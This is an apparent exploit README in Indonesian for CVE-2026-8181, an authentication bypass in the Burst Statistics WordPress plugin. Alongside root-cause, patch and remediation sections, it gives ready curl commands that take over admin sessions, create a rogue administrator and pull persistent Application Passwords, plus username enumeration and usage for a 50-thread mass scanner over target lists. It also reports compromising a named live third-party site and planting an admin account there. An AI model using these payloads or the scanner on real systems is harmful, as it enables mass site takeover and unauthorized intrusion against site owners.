Share
## https://sploitus.com/exploit?id=725C7076-F0CE-590C-B993-36F44C104837
# CVE-2026-8181 β€” Burst Statistics Authentication Bypass to Admin Account Takeover


  
  
  
  


---

## πŸ“‹ Informasi Kerentanan

| Item | Detail |
|------|--------|
| **CVE ID** | CVE-2026-8181 |
| **Plugin** | Burst Statistics – Privacy-Friendly WordPress Analytics |
| **Versi Terpengaruh** | 3.4.0 – 3.4.1.1 |
| **Versi Patched** | 3.4.2 |
| **CVSS Score** | 9.8 (Critical) |
| **Tipe** | CWE-287: Improper Authentication |
| **Vektor Serangan** | Network / Remote / Unauthenticated |
| **Instalasi Aktif** | ~200,000+ |
| **Penemu** | PRISM, Wordfence Threat Intelligence |
| **Tanggal Publikasi** | 8 Mei 2026 |

---

## 🎯 Ringkasan

Kerentanan **Authentication Bypass** kritis pada plugin WordPress Burst Statistics versi 3.4.0 hingga 3.4.1.1 memungkinkan attacker **tanpa autentikasi** untuk mendapatkan **akses penuh administrator** WordPress hanya dengan mengetahui username admin. Konsekuensinya adalah pengambilalihan akun admin lengkap, termasuk pembuatan akun baru, modifikasi konten, hingga instalasi plugin berbahaya.

---

## πŸ”¬ Analisis Teknis

### Root Cause

Kerentanan berada di method `is_mainwp_authenticated()` pada file `includes/Frontend/class-mainwp-proxy.php`:

```php
// KODE VULNERABLE (v3.4.1.1)
public function is_mainwp_authenticated(): bool {
    $auth_header = sanitize_text_field(
        wp_unslash($_SERVER['HTTP_AUTHORIZATION'] ?? '')
    );

    if (!empty($auth_header) && stripos($auth_header, 'basic ') === 0) {
        $credentials = base64_decode(substr($auth_header, 6), true);
        // ... parse username:password ...

        $is_valid = wp_authenticate_application_password(null, $username, $password);
        if (is_wp_error($is_valid)) {  // ← BUG: null BUKAN WP_Error!
            return false;
        }
        $user = get_user_by('login', $username);  // ← Auth hanya berdasarkan username!
        if (!$user || !user_can($user, 'manage_burst_statistics')) {
            return false;
        }
        wp_set_current_user($user->ID);  // ← Grant admin privileges
        return true;
    }
    return false;
}
```

**Bug utama:** `wp_authenticate_application_password(null, $username, $password)` mengembalikan `null` (bukan `WP_Error`) ketika Application Passwords tidak tersedia, yang terjadi pada:
- Situs **HTTP** (bukan HTTPS) dimana `wp_is_application_passwords_available()` return `false`
- Situs dimana `is_ssl()` return `false`

Karena `is_wp_error(null)` = `false`, kode melanjutkan ke `get_user_by('login', $username)` yang mengautentikasi **hanya berdasarkan username** tanpa validasi password sama sekali.

### Eksekusi Awal (Early Execution)

Method `has_admin_access()` dipanggil saat hook `plugins_loaded` (prioritas 9) di `class-burst.php` baris 118:

```php
if ($this->has_admin_access()) {
    $this->admin = new Admin();
    $this->admin->init();
}
```

Hook ini berjalan **SEBELUM** REST API route processing, sehingga `wp_set_current_user()` memberikan hak admin untuk **SELURUH request** β€” bukan hanya endpoint Burst.

### Alur Serangan

```
Attacker ──HTTP Request──▢ WordPress
  Headers:
    X-BURSTMAINWP: 1
    Authorization: Basic base64(admin:anything)
                β”‚
                β–Ό
        [plugins_loaded hook fires]
                β”‚
        Burst::bootstrap() β†’ has_admin_access()
                β”‚
        HTTP_X_BURSTMAINWP == '1' β†’ is_mainwp_authenticated()
                β”‚
        wp_authenticate_application_password(null, 'admin', 'anything')
                β”‚
        Situs HTTP β†’ wp_is_application_passwords_available() = false
                β”‚
        Return null (BUKAN WP_Error)
                β”‚
        is_wp_error(null) = false ← BYPASS!
                β”‚
        get_user_by('login', 'admin') β†’ found
                β”‚
        wp_set_current_user(admin_id) β†’ FULL ADMIN
                β”‚
        has_admin_access() = true
                β”‚
        [REST API memproses request dengan konteks admin]
                β”‚
        Attacker mengakses SELURUH endpoint WordPress sebagai administrator
```

---

## πŸ’» Proof of Concept

### Prasyarat

- Target menjalankan **HTTP** (bukan HTTPS, atau SSL tidak terdeteksi dengan benar)
- Plugin Burst Statistics versi **3.4.0 – 3.4.1.1** terinstal dan aktif
- Mengetahui username admin (dapat di-enumerate)

### Instalasi

```bash
pip3 install requests
```

### Penggunaan β€” Single Target

```bash
# Scan dasar
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin -k

# Buat akun admin baru
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin --create-user -k

# Dengan username custom
python3 exploit_CVE-2026-8181.py -u http://target.com -U administrator -k
```

### Penggunaan β€” Multi Target (Mass Scanner)

```bash
python3 poc_CVE-2026-8181.py
```

Mode interaktif:
1. Input file target list (`.txt`, satu domain per baris)
2. Atur jumlah thread (default: 50)
3. Atur kredensial akun baru
4. Jalankan scan

Format `targets.txt`:
```
target1.com
target2.com
192.168.1.100
subdomain.example.org
```

### PoC Minimal (curl)

```bash
# Step 1: Verifikasi auth bypass
curl -s \
  -H "X-BURSTMAINWP: 1" \
  -H "Authorization: Basic $(echo -n 'admin:anything' | base64)" \
  "http://target.com/?rest_route=/wp/v2/users/me&context=edit"

# Step 2: Buat akun administrator baru
curl -s \
  -H "X-BURSTMAINWP: 1" \
  -H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
  -H "Content-Type: application/json" \
  -X POST \
  "http://target.com/?rest_route=/wp/v2/users" \
  -d '{"username":"hacker","password":"P@ssw0rd!","email":"h@ck.er","roles":["administrator"]}'

# Step 3: Dapatkan Application Password (kredensial persisten)
curl -s \
  -H "X-BURSTMAINWP: 1" \
  -H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
  -H "Content-Type: application/json" \
  -X POST \
  "http://target.com/?rest_route=/burst/v1/mainwp-auth" \
  -d '{}'
```

### Enumerasi Username Admin

```bash
# Method 1: REST API
curl -s "http://target.com/wp-json/wp/v2/users" | jq '.[].slug'

# Method 2: Fallback route
curl -s "http://target.com/?rest_route=/wp/v2/users" | jq '.[].slug'

# Method 3: Author enumeration
for i in $(seq 1 5); do
  curl -s -o /dev/null -w "%{redirect_url}\n" "http://target.com/?author=$i"
done
```

---

## βœ… Validasi Hasil

Pengujian dilakukan pada WordPress 6.9 dengan Burst Statistics 3.4.1.1 (localhost):

| Pengujian | Hasil | Bukti |
|-----------|-------|-------|
| Akses `/wp/v2/users/me` tanpa auth | GAGAL | `rest_not_logged_in` |
| Akses dengan bypass headers | **BERHASIL** | Profil admin + email + roles |
| Buat akun administrator baru | **BERHASIL** | User ID 2, role: administrator |
| Baca WordPress settings | **BERHASIL** | Site title, admin email, URL |
| Dapatkan Application Password | **BERHASIL** | Base64 token `admin:password` |
| Daftar plugin terinstal | **BERHASIL** | Daftar lengkap dengan versi |

### Validasi Live Target

| Target | Hasil |
|--------|-------|
| `ausdermitte-binz.de` | **BERHASIL PWNED** β€” Burst 3.4.1.1, bypass via `binzwpadmin`, akun `xenon1337` dibuat (ID:30) |

---

## πŸ”§ Analisis Patch (v3.4.2)

Perbaikan di versi 3.4.2 mengatasi beberapa masalah:

1. **Cek return type yang benar:**
```php
// PATCHED
$authenticated_user = wp_authenticate_application_password(null, $parts[0], $parts[1]);
if (!$authenticated_user instanceof \WP_User) {  // ← Cek WP_User, bukan !WP_Error
    return false;
}
```

2. **Force Application Passwords availability:**
```php
$allow = static function(): bool { return true; };
add_filter('application_password_is_api_request', $allow, 999);
// ... authenticate ...
remove_filter('application_password_is_api_request', $allow, 999);
```

3. **CSRF nonce requirement** untuk cookie-authenticated requests
4. **Nonce replay protection** dengan single-use enforcement via `add_option()`
5. **Removed legacy signature format** yang tidak mengikat username

---

## πŸ›‘οΈ Remediasi

### Langkah Segera
1. **Update Burst Statistics** ke versi 3.4.2 atau lebih baru
2. **Audit akun user** β€” cek akun administrator yang tidak dikenal
3. **Cabut semua Application Passwords** (`wp_application_passwords` user meta)
4. **Review email admin** WordPress dan setting lainnya
5. **Cek plugin/theme** yang tidak dikenal

### Deteksi Indikator Kompromi
- Cari di access log request dengan header `X-BURSTMAINWP: 1` dari IP eksternal
- Monitor tabel `wp_users` untuk akun administrator baru
- Cek `wp_options` untuk transient `burst_mainwp_app_token_*`
- Review Application Passwords di profil user

---

## πŸ“ File yang Tersedia

| File | Deskripsi |
|------|-----------|
| `exploit_CVE-2026-8181.py` | PoC exploit single target |
| `poc_CVE-2026-8181.py` | Mass scanner multi-target dengan threading |
| `README.md` | Dokumentasi ini |

---

## ⚠️ Disclaimer

Tool dan dokumentasi ini hanya untuk **pengujian keamanan yang sah** dengan izin eksplisit. Penggunaan tanpa otorisasi terhadap sistem yang bukan milik Anda atau tanpa izin tertulis adalah **ilegal**. Penulis tidak bertanggung jawab atas penyalahgunaan.

---

## πŸ“š Referensi

- [Wordfence Advisory](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/burst-statistics/burst-statistics-340-3411-authentication-bypass-to-admin-account-takeover)
- [Source Code Vulnerable](https://plugins.trac.wordpress.org/browser/burst-statistics/tags/3.4.1.1/includes/Frontend/class-mainwp-proxy.php)
- [WordPress Plugin Repository](https://wordpress.org/plugins/burst-statistics/)
- [WP-Safety Analysis](https://wp-safety.org/plugins/burst-statistics)

---